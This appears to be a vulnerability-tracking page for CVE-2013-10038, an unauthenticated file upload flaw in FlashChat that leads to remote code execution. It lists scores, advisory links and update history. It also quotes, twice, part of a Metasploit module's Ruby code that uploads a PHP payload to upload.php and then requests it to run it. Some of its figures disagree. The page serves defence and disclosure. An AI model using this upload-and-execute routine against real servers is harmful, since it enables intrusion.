An unauthenticated arbitrary file upload vulnerability exists in FlashChat versions 6.0.2 and 6.0.4 through 6.0.8. The upload.php endpoint fails to properly validate file types and authentication, allowing attackers to upload malicious PHP scripts. Once uploaded, these scripts can be executed remotely, resulting in arbitrary code execution as the web server user.
CVE-2013-10038
This critical-severity CVE scores 9.3 under NVD CVSS v3. EPSS exploit probability: 78.2%, top 1% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).
- High severity, but no confirmed exploitation yet
No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.
- CVSS v3
- 9.3
- EG Score
- 9.3(medium)
- EPSS
- 67.0%
- KEV
- Not listed
Published
July 31, 2025
Last Modified
April 15, 2026
Advisory Details (4)
Auto-updated Jul 17, 2026FlashChat Arbitrary File Upload RCE | Advisories | VulnCheck
https://www.vulncheck.com/advisories/flashchat-arbitrary-file-upload-rceJust a moment
https://www.fortiguard.com/encyclopedia/ips/37342/flashchat-arbitrary-file-uploadFlashChat 6.0.2 < 6.0.8 - Arbitrary File Upload - PHP webapps Exploit
https://www.exploit-db.com/exploits/28709FlashChat v([\d\.]+)/).flatten[0] || '' if version.empty? return Exploit::CheckCode::Unknown('Could not determine the target status') end vprint_status("Version found: #{version}") if version =~ /6\.0\.(2|4|5|6|7|8)/ return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable") elsif version <= "6.0.8" return Exploit::CheckCode::Detected("Detected version #{version}") else return Exploit::CheckCode::Safe("Version #{version} i...
FlashChat v([\d\.]+)/).flatten[0] || '' if version.empty? return Exploit::CheckCode::Unknown('Could not determine the target status') end vprint_status("Version found: #{version}") if version =~ /6\.0\.(2|4|5|6|7|8)/ return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable") elsif version <= "6.0.8" return Exploit::CheckCode::Detected("Detected version #{version}") else return Exploit::CheckCode::Safe("Version #{version} is not vulnerable") end end # # Uploads our malicious file # Stolen from havalite_upload_exec.rb # def upload(base) fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php" php = "<?php #{payload.encoded} ?>" data = Rex::MIME::Message.new data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"") post_data = data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(base, 'upload.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if not res fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") elsif res.code.to_i == 404 fail_with(Failure::NotFound, "#{peer} - No upload.php found") elsif res.code.to_i == 500 fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") end return fname end # # Executes our uploaded malicious file # Stolen from havalite_upload_exec.rb # def exec(base, payload_fname) res = send_request_raw({ 'uri' => normalize_uri(base, 'temp', payload_fname) }) if res and res.code == 404 fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}") end end def exploit base = target_uri.path # upload print_status("Uploading malicious file...") fname = upload(base) # register the file to clean register_files_for_cleanup(fname) # exec print_status("...
https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/flashchat_upload_exec.rbWeakness Classification(1)
MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.
Data Freshness Timeline
(refreshed 9× in last 7d / 33× in last 30d)
Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.
- 2026-07-22 14:04 UTCEPSS rescore
- 2026-07-22 14:04 UTCEPSS rescore
- 2026-07-21 15:21 UTCEPSS rescore
- 2026-07-20 17:03 UTCEPSS rescore
- 2026-07-20 17:03 UTCEPSS rescore
- 2026-07-19 02:25 UTCEPSS rescore
- 2026-07-19 02:25 UTCEPSS rescore
- 2026-07-18 10:00 UTCEPSS rescore
- 2026-07-16 16:58 UTCEPSS rescore
- 2026-07-15 16:54 UTCEPSS rescore
- 2026-07-15 16:54 UTCEPSS rescore
- 2026-07-15 01:56 UTCEPSS rescore
- 2026-07-13 22:26 UTCEPSS rescore
- 2026-07-13 06:08 UTCEPSS rescore
- 2026-07-11 08:23 UTCEPSS rescore
- 2026-07-09 19:05 UTCEPSS rescore
- 2026-07-08 15:10 UTCEPSS rescore
- 2026-07-06 02:19 UTCEPSS rescore
- 2026-07-06 02:19 UTCEPSS rescore
- 2026-07-05 02:26 UTCEPSS rescore
- 2026-07-04 06:27 UTCEPSS rescore
- 2026-07-01 15:02 UTCEPSS rescore
- 2026-06-30 23:19 UTCEPSS rescore
- 2026-06-30 23:19 UTCEPSS rescore
- 2026-06-29 14:02 UTCEPSS rescore
Show 60 moreShow fewer
- 2026-06-28 14:03 UTCEPSS rescore
- 2026-06-28 04:53 UTCEPSS rescore
- 2026-06-28 04:53 UTCEPSS rescore
- 2026-06-27 03:05 UTCEPSS rescore
- 2026-06-25 13:46 UTCEPSS rescore
- 2026-06-24 14:02 UTCEPSS rescore
- 2026-06-24 14:02 UTCEPSS rescore
- 2026-06-23 21:30 UTCEPSS rescore
- 2026-06-21 14:53 UTCEPSS rescore
- 2026-06-21 01:57 UTCEPSS rescore
- 2026-06-21 01:56 UTCEPSS rescore
- 2026-06-19 19:23 UTCEPSS rescore
- 2026-06-19 19:22 UTCEPSS rescore
- 2026-06-18 17:49 UTCEPSS rescore
- 2026-06-18 17:49 UTCEPSS rescore
- 2026-06-17 17:49 UTCEPSS rescore
- 2026-06-17 17:49 UTCEPSS rescore
- 2026-06-16 17:49 UTCEPSS rescore
- 2026-06-16 17:49 UTCEPSS rescore
- 2026-06-15 17:44 UTCEPSS rescore
- 2026-06-13 22:57 UTCEPSS rescore
- 2026-06-12 23:08 UTCEPSS rescore
- 2026-06-08 15:52 UTCEG score recompute▲ 9.30
- 2026-06-08 15:52 UTCGHSA enrichment
- 2026-06-08 14:14 UTCEPSS rescore
- 2026-06-07 15:22 UTCEPSS rescore
- 2026-06-06 13:45 UTCEPSS rescore
- 2026-06-06 13:45 UTCEPSS rescore
- 2026-06-05 22:44 UTCEPSS rescore
- 2026-06-05 22:44 UTCEPSS rescore
- 2026-06-05 06:08 UTCEPSS rescore
- 2026-06-05 06:08 UTCEPSS rescore
- 2026-06-02 20:10 UTCEPSS rescore
- 2026-06-02 20:10 UTCEPSS rescore
- 2026-06-01 13:49 UTCEPSS rescore
- 2026-06-01 13:49 UTCEPSS rescore
- 2026-05-31 22:28 UTCEPSS rescore
- 2026-05-31 22:28 UTCEPSS rescore
- 2026-05-31 00:14 UTCEPSS rescore
- 2026-05-31 00:14 UTCEPSS rescore
- 2026-05-29 13:41 UTCEPSS rescore
- 2026-05-29 13:41 UTCEPSS rescore
- 2026-05-28 13:42 UTCEPSS rescore
- 2026-05-28 13:42 UTCEPSS rescore
- 2026-05-28 13:42 UTCEPSS rescore
- 2026-05-27 13:38 UTCEPSS rescore
- 2026-05-27 13:38 UTCEPSS rescore
- 2026-05-22 21:15 UTCEPSS rescore
- 2026-05-22 21:15 UTCEPSS rescore
- 2026-05-22 21:15 UTCEPSS rescore
- 2026-05-21 22:39 UTCEPSS rescore
- 2026-05-21 10:29 UTCEG score recompute
- 2026-05-21 10:29 UTCGHSA enrichment
- 2026-05-20 22:37 UTCEPSS rescore
- 2026-05-20 22:37 UTCEPSS rescore
- 2026-05-20 11:21 UTCEPSS rescore
- 2026-05-20 11:21 UTCEPSS rescore
- 2026-05-20 11:21 UTCEPSS rescore
- 2026-05-18 21:29 UTCEPSS rescore
- 2026-05-18 21:29 UTCEPSS rescore
Publicly available exploits
(1 reference)Working exploit code is in the public domain (1 Metasploit module). Defenders should treat patch urgency accordingly — public PoCs typically lead to mass-exploitation within 24-72 hours.
- Metasploitexploit/unix/webapp/flashchat_upload_exec✓ verifiedFirst seen Oct 4, 2013
FlashChat Arbitrary File Upload
Open source ↗
Related CVEs(same CWE)
Same CWE
10 shownCWE-434
Frequently asked(5)
What is CVE-2013-10038?
When was CVE-2013-10038 disclosed?
Is CVE-2013-10038 actively exploited?
What is the CVSS score of CVE-2013-10038?
How do I remediate CVE-2013-10038?
Dependency Blast Radius
Explore the affected products and dependency analysis for CVE-2013-10038
Is Your Infrastructure Affected by CVE-2013-10038?
EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.